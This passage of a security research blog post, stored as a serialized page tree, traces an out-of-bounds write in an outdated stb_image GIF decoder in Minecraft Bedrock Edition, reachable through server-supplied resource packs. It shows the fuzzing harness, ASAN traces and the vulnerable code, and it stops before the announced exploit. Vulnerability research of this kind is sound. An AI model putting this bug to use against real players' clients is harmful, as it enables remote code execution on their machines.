o-rce",[153897],{"type":29,"value":153883},{"type":24,"tag":25,"props":153899,"children":153900},{},[153901],{"type":29,"value":153902},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":24,"tag":25,"props":153904,"children":153905},{},[153906],{"type":29,"value":153907},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":24,"tag":228,"props":153909,"children":153911},{"id":153910},"the-target",[153912],{"type":29,"value":153913},"The Target",{"type":24,"tag":25,"props":153915,"children":153916},{},[153917],{"type":29,"value":153918},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":24,"tag":25,"props":153920,"children":153921},{},[153922,153924,153929,153931,153936],{"type":29,"value":153923},"There are two main editions: ",{"type":24,"tag":188,"props":153925,"children":153926},{},[153927],{"type":29,"value":153928},"Minecraft Java Edition",{"type":29,"value":153930},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":24,"tag":188,"props":153932,"children":153933},{},[153934],{"type":29,"value":153935},"Minecraft Bedrock Edition",{"type":29,"value":153937},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":24,"tag":25,"props":153939,"children":153940},{},[153941],{"type":29,"value":153942},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":24,"tag":235,"props":153944,"children":153946},{"id":153945},"choice-of-context",[153947],{"type":29,"value":153948},"Choice of Context",{"type":24,"tag":25,"props":153950,"children":153951},{},[153952],{"type":29,"value":153953},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":24,"tag":25,"props":153955,"children":153956},{},[153957],{"type":29,"value":153958},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":24,"tag":235,"props":153960,"children":153962},{"id":153961},"resource-packs",[153963],{"type":29,"value":153964},"Resource Packs",{"type":24,"tag":25,"props":153966,"children":153967},{},[153968],{"type":29,"value":153969},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":24,"tag":25,"props":153971,"children":153972},{},[153973],{"type":29,"value":153974},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":24,"tag":25,"props":153976,"children":153977},{},[153978],{"type":29,"value":153979},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":24,"tag":228,"props":153981,"children":153983},{"id":153982},"finding-a-memory-corruption-bug",[153984],{"type":29,"value":153985},"Finding a Memory Corruption Bug",{"type":24,"tag":25,"props":153987,"children":153988},{},[153989],{"type":29,"value":153990},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":24,"tag":25,"props":153992,"children":153993},{},[153994],{"type":29,"value":153995},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":24,"tag":235,"props":153997,"children":153999},{"id":153998},"locating-image-parsing-code",[154000],{"type":29,"value":154001},"Locating Image Parsing Code",{"type":24,"tag":25,"props":154003,"children":154004},{},[154005,154007,154013,154014,154020],{"type":29,"value":154006},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":24,"tag":284,"props":154008,"children":154010},{"className":154009},[],[154011],{"type":29,"value":154012},"PNG",{"type":29,"value":1503},{"type":24,"tag":284,"props":154015,"children":154017},{"className":154016},[],[154018],{"type":29,"value":154019},"GIF",{"type":29,"value":154021}," and look for error logging or other messages that use those substrings.",{"type":24,"tag":25,"props":154023,"children":154024},{},[154025,154027,154032],{"type":29,"value":154026},"Searching for the string ",{"type":24,"tag":284,"props":154028,"children":154030},{"className":154029},[],[154031],{"type":29,"value":154019},{"type":29,"value":154033}," returned some interesting results:",{"type":24,"tag":25,"props":154035,"children":154036},{},[154037],{"type":24,"tag":11511,"props":154038,"children":154040},{"alt":57299,"src":154039},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":24,"tag":25,"props":154042,"children":154043},{},[154044,154046,154053,154055,154062],{"type":29,"value":154045},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":24,"tag":57,"props":154047,"children":154050},{"href":154048,"rel":154049},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[61],[154051],{"type":29,"value":154052},"stb_image.h",{"type":29,"value":154054},". For an example: usage of ",{"type":24,"tag":57,"props":154056,"children":154059},{"href":154057,"rel":154058},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[61],[154060],{"type":29,"value":154061},"bad Image Descriptor",{"type":29,"value":66},{"type":24,"tag":25,"props":154064,"children":154065},{},[154066,154068,154075],{"type":29,"value":154067},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":24,"tag":57,"props":154069,"children":154072},{"href":154070,"rel":154071},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[61],[154073],{"type":29,"value":154074},"stbi__gif_load_next",{"type":29,"value":154076},", and loaded the resource pack - this confirmed its usage:",{"type":24,"tag":25,"props":154078,"children":154079},{},[154080],{"type":24,"tag":11511,"props":154081,"children":154083},{"alt":57299,"src":154082},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":24,"tag":235,"props":154085,"children":154087},{"id":154086},"stb-image-library",[154088],{"type":29,"value":154089},"STB Image Library",{"type":24,"tag":25,"props":154091,"children":154092},{},[154093,154098],{"type":24,"tag":284,"props":154094,"children":154096},{"className":154095},[],[154097],{"type":29,"value":154052},{"type":29,"value":154099}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":24,"tag":25,"props":154101,"children":154102},{},[154103,154105,154110,154112,154119],{"type":29,"value":154104},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":24,"tag":284,"props":154106,"children":154108},{"className":154107},[],[154109],{"type":29,"value":154052},{"type":29,"value":154111}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":24,"tag":57,"props":154113,"children":154116},{"href":154114,"rel":154115},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[61],[154117],{"type":29,"value":154118},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":66},{"type":24,"tag":25,"props":154121,"children":154122},{},[154123],{"type":29,"value":154124},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":24,"tag":168,"props":154126,"children":154128},{"id":154127},"fuzzing",[154129],{"type":29,"value":154130},"Fuzzing",{"type":24,"tag":25,"props":154132,"children":154133},{},[154134,154136,154143],{"type":29,"value":154135},"The fuzzer consisted of a very simple ",{"type":24,"tag":57,"props":154137,"children":154140},{"href":154138,"rel":154139},"https://github.com/AFLplusplus/AFLplusplus",[61],[154141],{"type":29,"value":154142},"AFL++",{"type":29,"value":8204},{"type":24,"tag":317,"props":154145,"children":154147},{"code":154146,"language":320,"meta":7,"className":321,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[154148],{"type":24,"tag":284,"props":154149,"children":154150},{"__ignoreMap":7},[154151,154164,154176,154183,154229,154241,154262,154269,154293,154308,154315,154322,154394,154418,154433,154440,154447,154460,154467,154482],{"type":24,"tag":327,"props":154152,"children":154153},{"class":329,"line":330},[154154,154159],{"type":24,"tag":327,"props":154155,"children":154156},{"style":425},[154157],{"type":29,"value":154158},"#define",{"type":24,"tag":327,"props":154160,"children":154161},{"style":340},[154162],{"type":29,"value":154163}," STB_IMAGE_IMPLEMENTATION\n",{"type":24,"tag":327,"props":154165,"children":154166},{"class":329,"line":367},[154167,154171],{"type":24,"tag":327,"props":154168,"children":154169},{"style":425},[154170],{"type":29,"value":97142},{"type":24,"tag":327,"props":154172,"children":154173},{"style":844},[154174],{"type":29,"value":154175}," \"./stb/stb_image.h\"\n",{"type":24,"tag":327,"props":154177,"children":154178},{"class":329,"line":408},[154179],{"type":24,"tag":327,"props":154180,"children":154181},{"emptyLinePlaceholder":16},[154182],{"type":29,"value":544},{"type":24,"tag":327,"props":154184,"children":154185},{"class":329,"line":421},[154186,154190,154194,154198,154202,154207,154211,154216,154220,154225],{"type":24,"tag":327,"props":154187,"children":154188},{"style":334},[154189],{"type":29,"value":337},{"type":24,"tag":327,"props":154191,"children":154192},{"style":340},[154193],{"type":29,"value":97507},{"type":24,"tag":327,"props":154195,"children":154196},{"style":346},[154197],{"type":29,"value":349},{"type":24,"tag":327,"props":154199,"children":154200},{"style":334},[154201],{"type":29,"value":337},{"type":24,"tag":327,"props":154203,"children":154204},{"style":356},[154205],{"type":29,"value":154206}," argc",{"type":24,"tag":327,"props":154208,"children":154209},{"style":346},[154210],{"type":29,"value":2744},{"type":24,"tag":327,"props":154212,"children":154213},{"style":334},[154214],{"type":29,"value":154215},"char",{"type":24,"tag":327,"props":154217,"children":154218},{"style":381},[154219],{"type":29,"value":96608},{"type":24,"tag":327,"props":154221,"children":154222},{"style":356},[154223],{"type":29,"value":154224},"argv",{"type":24,"tag":327,"props":154226,"children":154227},{"style":346},[154228],{"type":29,"value":364},{"type":24,"tag":327,"props":154230,"children":154231},{"class":329,"line":450},[154232,154236],{"type":24,"tag":327,"props":154233,"children":154234},{"style":334},[154235],{"type":29,"value":373},{"type":24,"tag":327,"props":154237,"children":154238},{"style":346},[154239],{"type":29,"value":154240}," x, y, comp;\n",{"type":24,"tag":327,"props":154242,"children":154243},{"class":329,"line":481},[154244,154249,154253,154257],{"type":24,"tag":327,"props":154245,"children":154246},{"style":334},[154247],{"type":29,"value":154248},"    unsigned",{"type":24,"tag":327,"props":154250,"children":154251},{"style":334},[154252],{"type":29,"value":65771},{"type":24,"tag":327,"props":154254,"children":154255},{"style":381},[154256],{"type":29,"value":17364},{"type":24,"tag":327,"props":154258,"children":154259},{"style":346},[154260],{"type":29,"value":154261},"ret;\n",{"type":24,"tag":327,"props":154263,"children":154264},{"class":329,"line":500},[154265],{"type":24,"tag":327,"props":154266,"children":154267},{"emptyLinePlaceholder":16},[154268],{"type":29,"value":544},{"type":24,"tag":327,"props":154270,"children":154271},{"class":329,"line":529},[154272,154276,154281,154285,154289],{"type":24,"tag":327,"props":154273,"children":154274},{"style":425},[154275],{"type":29,"value":428},{"type":24,"tag":327,"props":154277,"children":154278},{"style":346},[154279],{"type":29,"value":154280}," (argc ",{"type":24,"tag":327,"props":154282,"children":154283},{"style":381},[154284],{"type":29,"value":573},{"type":24,"tag":327,"props":154286,"children":154287},{"style":397},[154288],{"type":29,"value":474},{"type":24,"tag":327,"props":154290,"children":154291},{"style":346},[154292],{"type":29,"value":364},{"type":24,"tag":327,"props":154294,"children":154295},{"class":329,"line":538},[154296,154300,154304],{"type":24,"tag":327,"props":154297,"children":154298},{"style":425},[154299],{"type":29,"value":4944},{"type":24,"tag":327,"props":154301,"children":154302},{"style":397},[154303],{"type":29,"value":522},{"type":24,"tag":327,"props":154305,"children":154306},{"style":346},[154307],{"type":29,"value":405},{"type":24,"tag":327,"props":154309,"children":154310},{"class":329,"line":547},[154311],{"type":24,"tag":327,"props":154312,"children":154313},{"style":346},[154314],{"type":29,"value":535},{"type":24,"tag":327,"props":154316,"children":154317},{"class":329,"line":557},[154318],{"type":24,"tag":327,"props":154319,"children":154320},{"emptyLinePlaceholder":16},[154321],{"type":29,"value":544},{"type":24,"tag":327,"props":154323,"children":154324},{"class":329,"line":586},[154325,154330,154334,154339,154343,154347,154351,154355,154359,154363,154368,154372,154377,154381,154386,154390],{"type":24,"tag":327,"props":154326,"children":154327},{"style":346},[154328],{"type":29,"value":154329},"    ret ",{"type":24,"tag":327,"props":154331,"children":154332},{"style":381},[154333],{"type":29,"value":384},{"type":24,"tag":327,"props":154335,"children":154336},{"style":340},[154337],{"type":29,"value":154338}," stbi_load",{"type":24,"tag":327,"props":154340,"children":154341},{"style":346},[154342],{"type":29,"value":349},{"type":24,"tag":327,"props":154344,"children":154345},{"style":356},[154346],{"type":29,"value":154224},{"type":24,"tag":327,"props":154348,"children":154349},{"style":346},[154350],{"type":29,"value":11329},{"type":24,"tag":327,"props":154352,"children":154353},{"style":397},[154354],{"type":29,"value":3238},{"type":24,"tag":327,"props":154356,"children":154357},{"style":346},[154358],{"type":29,"value":4474},{"type":24,"tag":327,"props":154360,"children":154361},{"style":381},[154362],{"type":29,"value":8716},{"type":24,"tag":327,"props":154364,"children":154365},{"style":346},[154366],{"type":29,"value":154367},"x, ",{"type":24,"tag":327,"props":154369,"children":154370},{"style":381},[154371],{"type":29,"value":8716},{"type":24,"tag":327,"props":154373,"children":154374},{"style":346},[154375],{"type":29,"value":154376},"y, ",{"type":24,"tag":327,"props":154378,"children":154379},{"style":381},[154380],{"type":29,"value":8716},{"type":24,"tag":327,"props":154382,"children":154383},{"style":346},[154384],{"type":29,"value":154385},"comp, ",{"type":24,"tag":327,"props":154387,"children":154388},{"style":397},[154389],{"type":29,"value":2988},{"type":24,"tag":327,"props":154391,"children":154392},{"style":346},[154393],{"type":29,"value":583},{"type":24,"tag":327,"props":154395,"children":154396},{"class":329,"line":1017},[154397,154401,154406,154410,154414],{"type":24,"tag":327,"props":154398,"children":154399},{"style":425},[154400],{"type":29,"value":428},{"type":24,"tag":327,"props":154402,"children":154403},{"style":346},[154404],{"type":29,"value":154405}," (ret ",{"type":24,"tag":327,"props":154407,"children":154408},{"style":381},[154409],{"type":29,"value":642},{"type":24,"tag":327,"props":154411,"children":154412},{"style":334},[154413],{"type":29,"value":134497},{"type":24,"tag":327,"props":154415,"children":154416},{"style":346},[154417],{"type":29,"value":364},{"type":24,"tag":327,"props":154419,"children":154420},{"class":329,"line":1026},[154421,154425,154429],{"type":24,"tag":327,"props":154422,"children":154423},{"style":425},[154424],{"type":29,"value":4944},{"type":24,"tag":327,"props":154426,"children":154427},{"style":397},[154428],{"type":29,"value":522},{"type":24,"tag":327,"props":154430,"children":154431},{"style":346},[154432],{"type":29,"value":405},{"type":24,"tag":327,"props":154434,"children":154435},{"class":329,"line":1048},[154436],{"type":24,"tag":327,"props":154437,"children":154438},{"style":346},[154439],{"type":29,"value":535},{"type":24,"tag":327,"props":154441,"children":154442},{"class":329,"line":1067},[154443],{"type":24,"tag":327,"props":154444,"children":154445},{"style":346},[154446],{"type":29,"value":68509},{"type":24,"tag":327,"props":154448,"children":154449},{"class":329,"line":1075},[154450,154455],{"type":24,"tag":327,"props":154451,"children":154452},{"style":340},[154453],{"type":29,"value":154454},"    stbi_image_free",{"type":24,"tag":327,"props":154456,"children":154457},{"style":346},[154458],{"type":29,"value":154459},"(ret);\n",{"type":24,"tag":327,"props":154461,"children":154462},{"class":329,"line":1084},[154463],{"type":24,"tag":327,"props":154464,"children":154465},{"emptyLinePlaceholder":16},[154466],{"type":29,"value":544},{"type":24,"tag":327,"props":154468,"children":154469},{"class":329,"line":1100},[154470,154474,154478],{"type":24,"tag":327,"props":154471,"children":154472},{"style":425},[154473],{"type":29,"value":6023},{"type":24,"tag":327,"props":154475,"children":154476},{"style":397},[154477],{"type":29,"value":6695},{"type":24,"tag":327,"props":154479,"children":154480},{"style":346},[154481],{"type":29,"value":405},{"type":24,"tag":327,"props":154483,"children":154484},{"class":329,"line":1128},[154485],{"type":24,"tag":327,"props":154486,"children":154487},{"style":346},[154488],{"type":29,"value":592},{"type":24,"tag":25,"props":154490,"children":154491},{},[154492],{"type":29,"value":154493},"And soon after starting the fuzzer it found an interesting bug:",{"type":24,"tag":317,"props":154495,"children":154497},{"code":154496},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[154498],{"type":24,"tag":284,"props":154499,"children":154500},{"__ignoreMap":7},[154501],{"type":29,"value":154496},{"type":24,"tag":168,"props":154503,"children":154505},{"id":154504},"investigating-the-finding",[154506],{"type":29,"value":154507},"Investigating the Finding",{"type":24,"tag":25,"props":154509,"children":154510},{},[154511,154513,154519,154520,154525],{"type":29,"value":154512},"The ASAN output shows that at line ",{"type":24,"tag":284,"props":154514,"children":154516},{"className":154515},[],[154517],{"type":29,"value":154518},"6233",{"type":29,"value":150019},{"type":24,"tag":284,"props":154521,"children":154523},{"className":154522},[],[154524],{"type":29,"value":154052},{"type":29,"value":154526}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":24,"tag":317,"props":154528,"children":154530},{"code":154529,"language":320,"meta":7,"className":321,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[154531],{"type":24,"tag":284,"props":154532,"children":154533},{"__ignoreMap":7},[154534,154576,154583,154609,154622,154629,154637,154644,154698,154705,154751,154784],{"type":24,"tag":327,"props":154535,"children":154536},{"class":329,"line":330},[154537,154541,154545,154550,154555,154559,154563,154568,154572],{"type":24,"tag":327,"props":154538,"children":154539},{"style":334},[154540],{"type":29,"value":57765},{"type":24,"tag":327,"props":154542,"children":154543},{"style":334},[154544],{"type":29,"value":57770},{"type":24,"tag":327,"props":154546,"children":154547},{"style":340},[154548],{"type":29,"value":154549}," stbi__out_gif_code",{"type":24,"tag":327,"props":154551,"children":154552},{"style":346},[154553],{"type":29,"value":154554},"(stbi__gif ",{"type":24,"tag":327,"props":154556,"children":154557},{"style":381},[154558],{"type":29,"value":469},{"type":24,"tag":327,"props":154560,"children":154561},{"style":356},[154562],{"type":29,"value":116025},{"type":24,"tag":327,"props":154564,"children":154565},{"style":346},[154566],{"type":29,"value":154567},", stbi__uint16 ",{"type":24,"tag":327,"props":154569,"children":154570},{"style":356},[154571],{"type":29,"value":284},{"type":24,"tag":327,"props":154573,"children":154574},{"style":346},[154575],{"type":29,"value":852},{"type":24,"tag":327,"props":154577,"children":154578},{"class":329,"line":367},[154579],{"type":24,"tag":327,"props":154580,"children":154581},{"style":346},[154582],{"type":29,"value":18427},{"type":24,"tag":327,"props":154584,"children":154585},{"class":329,"line":408},[154586,154591,154595,154600,154604],{"type":24,"tag":327,"props":154587,"children":154588},{"style":346},[154589],{"type":29,"value":154590},"   stbi_uc ",{"type":24,"tag":327,"props":154592,"children":154593},{"style":381},[154594],{"type":29,"value":469},{"type":24,"tag":327,"props":154596,"children":154597},{"style":346},[154598],{"type":29,"value":154599},"p, ",{"type":24,"tag":327,"props":154601,"children":154602},{"style":381},[154603],{"type":29,"value":469},{"type":24,"tag":327,"props":154605,"children":154606},{"style":346},[154607],{"type":29,"value":154608},"c;\n",{"type":24,"tag":327,"props":154610,"children":154611},{"class":329,"line":421},[154612,154617],{"type":24,"tag":327,"props":154613,"children":154614},{"style":334},[154615],{"type":29,"value":154616},"   int",{"type":24,"tag":327,"props":154618,"children":154619},{"style":346},[154620],{"type":29,"value":154621}," idx; \n",{"type":24,"tag":327,"props":154623,"children":154624},{"class":329,"line":450},[154625],{"type":24,"tag":327,"props":154626,"children":154627},{"emptyLinePlaceholder":16},[154628],{"type":29,"value":544},{"type":24,"tag":327,"props":154630,"children":154631},{"class":329,"line":481},[154632],{"type":24,"tag":327,"props":154633,"children":154634},{"style":346},[154635],{"type":29,"value":154636},"   [...]\n",{"type":24,"tag":327,"props":154638,"children":154639},{"class":329,"line":500},[154640],{"type":24,"tag":327,"props":154641,"children":154642},{"emptyLinePlaceholder":16},[154643],{"type":29,"value":544},{"type":24,"tag":327,"props":154645,"children":154646},{"class":329,"line":529},[154647,154651,154655,154659,154663,154668,154672,154677,154681,154686,154690,154694],{"type":24,"tag":327,"props":154648,"children":154649},{"style":425},[154650],{"type":29,"value":59365},{"type":24,"tag":327,"props":154652,"children":154653},{"style":346},[154654],{"type":29,"value":5894},{"type":24,"tag":327,"props":154656,"children":154657},{"style":356},[154658],{"type":29,"value":116025},{"type":24,"tag":327,"props":154660,"children":154661},{"style":346},[154662],{"type":29,"value":1679},{"type":24,"tag":327,"props":154664,"children":154665},{"style":356},[154666],{"type":29,"value":154667},"cur_y",{"type":24,"tag":327,"props":154669,"children":154670},{"style":381},[154671],{"type":29,"value":15862},{"type":24,"tag":327,"props":154673,"children":154674},{"style":356},[154675],{"type":29,"value":154676}," g",{"type":24,"tag":327,"props":154678,"children":154679},{"style":346},[154680],{"type":29,"value":1679},{"type":24,"tag":327,"props":154682,"children":154683},{"style":356},[154684],{"type":29,"value":154685},"max_y",{"type":24,"tag":327,"props":154687,"children":154688},{"style":346},[154689],{"type":29,"value":1674},{"type":24,"tag":327,"props":154691,"children":154692},{"style":425},[154693],{"type":29,"value":55177},{"type":24,"tag":327,"props":154695,"children":154696},{"style":346},[154697],{"type":29,"value":405},{"type":24,"tag":327,"props":154699,"children":154700},{"class":329,"line":538},[154701],{"type":24,"tag":327,"props":154702,"children":154703},{"emptyLinePlaceholder":16},[154704],{"type":29,"value":544},{"type":24,"tag":327,"props":154706,"children":154707},{"class":329,"line":547},[154708,154713,154717,154721,154725,154730,154734,154738,154742,154746],{"type":24,"tag":327,"props":154709,"children":154710},{"style":346},[154711],{"type":29,"value":154712},"   idx ",{"type":24,"tag":327,"props":154714,"children":154715},{"style":381},[154716],{"type":29,"value":384},{"type":24,"tag":327,"props":154718,"children":154719},{"style":356},[154720],{"type":29,"value":154676},{"type":24,"tag":327,"props":154722,"children":154723},{"style":346},[154724],{"type":29,"value":1679},{"type":24,"tag":327,"props":154726,"children":154727},{"style":356},[154728],{"type":29,"value":154729},"cur_x",{"type":24,"tag":327,"props":154731,"children":154732},{"style":381},[154733],{"type":29,"value":4407},{"type":24,"tag":327,"props":154735,"children":154736},{"style":356},[154737],{"type":29,"value":154676},{"type":24,"tag":327,"props":154739,"children":154740},{"style":346},[154741],{"type":29,"value":1679},{"type":24,"tag":327,"props":154743,"children":154744},{"style":356},[154745],{"type":29,"value":154667},{"type":24,"tag":327,"props":154747,"children":154748},{"style":346},[154749],{"type":29,"value":154750},"; \n",{"type":24,"tag":327,"props":154752,"children":154753},{"class":329,"line":557},[154754,154759,154763,154767,154771,154775,154779],{"type":24,"tag":327,"props":154755,"children":154756},{"style":346},[154757],{"type":29,"value":154758},"   p ",{"type":24,"tag":327,"props":154760,"children":154761},{"style":381},[154762],{"type":29,"value":384},{"type":24,"tag":327,"props":154764,"children":154765},{"style":381},[154766],{"type":29,"value":14704},{"type":24,"tag":327,"props":154768,"children":154769},{"style":356},[154770],{"type":29,"value":116025},{"type":24,"tag":327,"props":154772,"children":154773},{"style":346},[154774],{"type":29,"value":1679},{"type":24,"tag":327,"props":154776,"children":154777},{"style":356},[154778],{"type":29,"value":125448},{"type":24,"tag":327,"props":154780,"children":154781},{"style":346},[154782],{"type":29,"value":154783},"[idx];\n",{"type":24,"tag":327,"props":154785,"children":154786},{"class":329,"line":586},[154787,154792,154796,154801,154806,154810,154814,154818,154822,154826,154830],{"type":24,"tag":327,"props":154788,"children":154789},{"style":356},[154790],{"type":29,"value":154791},"   g",{"type":24,"tag":327,"props":154793,"children":154794},{"style":346},[154795],{"type":29,"value":1679},{"type":24,"tag":327,"props":154797,"children":154798},{"style":356},[154799],{"type":29,"value":154800},"history",{"type":24,"tag":327,"props":154802,"children":154803},{"style":346},[154804],{"type":29,"value":154805},"[idx ",{"type":24,"tag":327,"props":154807,"children":154808},{"style":381},[154809],{"type":29,"value":2899},{"type":24,"tag":327,"props":154811,"children":154812},{"style":397},[154813],{"type":29,"value":19292},{"type":24,"tag":327,"props":154815,"children":154816},{"style":346},[154817],{"type":29,"value":16221},{"type":24,"tag":327,"props":154819,"children":154820},{"style":381},[154821],{"type":29,"value":384},{"type":24,"tag":327,"props":154823,"children":154824},{"style":397},[154825],{"type":29,"value":522},{"type":24,"tag":327,"props":154827,"children":154828},{"style":346},[154829],{"type":29,"value":55794},{"type":24,"tag":327,"props":154831,"children":154832},{"style":551},[154833],{"type":29,"value":154834},"          // OOB write\n",{"type":24,"tag":25,"props":154836,"children":154837},{},[154838,154840,154845,154847,154853,154855,154861],{"type":29,"value":154839},"It’s reasonable to assume ",{"type":24,"tag":284,"props":154841,"children":154843},{"className":154842},[],[154844],{"type":29,"value":83244},{"type":29,"value":154846}," is outside the bounds of ",{"type":24,"tag":284,"props":154848,"children":154850},{"className":154849},[],[154851],{"type":29,"value":154852},"g->history",{"type":29,"value":154854},", which leads to a one-byte OOB write (",{"type":24,"tag":284,"props":154856,"children":154858},{"className":154857},[],[154859],{"type":29,"value":154860},"g->history[idx / 4] = 1",{"type":29,"value":154862},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":24,"tag":25,"props":154864,"children":154865},{},[154866,154868,154873,154875,154881,154883,154888,154890,154896,154898,154904],{"type":29,"value":154867},"Because ",{"type":24,"tag":284,"props":154869,"children":154871},{"className":154870},[],[154872],{"type":29,"value":25},{"type":29,"value":154874}," is computed from ",{"type":24,"tag":284,"props":154876,"children":154878},{"className":154877},[],[154879],{"type":29,"value":154880},"g->out[idx]",{"type":29,"value":154882}," immediately before the violation, we considered whether ",{"type":24,"tag":284,"props":154884,"children":154886},{"className":154885},[],[154887],{"type":29,"value":83244},{"type":29,"value":154889}," could also be OOB for ",{"type":24,"tag":284,"props":154891,"children":154893},{"className":154892},[],[154894],{"type":29,"value":154895},"g->out",{"type":29,"value":154897},". Note that computing the address ",{"type":24,"tag":284,"props":154899,"children":154901},{"className":154900},[],[154902],{"type":29,"value":154903},"&g->out[idx]",{"type":29,"value":154905}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":24,"tag":25,"props":154907,"children":154908},{},[154909,154911,154916],{"type":29,"value":154910},"If we comment out ",{"type":24,"tag":284,"props":154912,"children":154914},{"className":154913},[],[154915],{"type":29,"value":154860},{"type":29,"value":154917}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":24,"tag":317,"props":154919,"children":154921},{"code":154920},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[154922],{"type":24,"tag":284,"props":154923,"children":154924},{"__ignoreMap":7},[154925],{"type":29,"value":154920},{"type":24,"tag":25,"props":154927,"children":154928},{},[154929],{"type":29,"value":154930},"This corresponds to:",{"type":24,"tag":317,"props":154932,"children":154934},{"code":154933,"language":320,"meta":7,"className":321,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[154935],{"type":24,"tag":284,"props":154936,"children":154937},{"__ignoreMap":7},[154938,154977,154984,154991,154998,155041,155072,155116,155123,155191,155231,155276,155315,155354,155393],{"type":24,"tag":327,"props":154939,"children":154940},{"class":329,"line":330},[154941,154945,154949,154953,154957,154961,154965,154969,154973],{"type":24,"tag":327,"props":154942,"children":154943},{"style":334},[154944],{"type":29,"value":57765},{"type":24,"tag":327,"props":154946,"children":154947},{"style":334},[154948],{"type":29,"value":57770},{"type":24,"tag":327,"props":154950,"children":154951},{"style":340},[154952],{"type":29,"value":154549},{"type":24,"tag":327,"props":154954,"children":154955},{"style":346},[154956],{"type":29,"value":154554},{"type":24,"tag":327,"props":154958,"children":154959},{"style":381},[154960],{"type":29,"value":469},{"type":24,"tag":327,"props":154962,"children":154963},{"style":356},[154964],{"type":29,"value":116025},{"type":24,"tag":327,"props":154966,"children":154967},{"style":346},[154968],{"type":29,"value":154567},{"type":24,"tag":327,"props":154970,"children":1549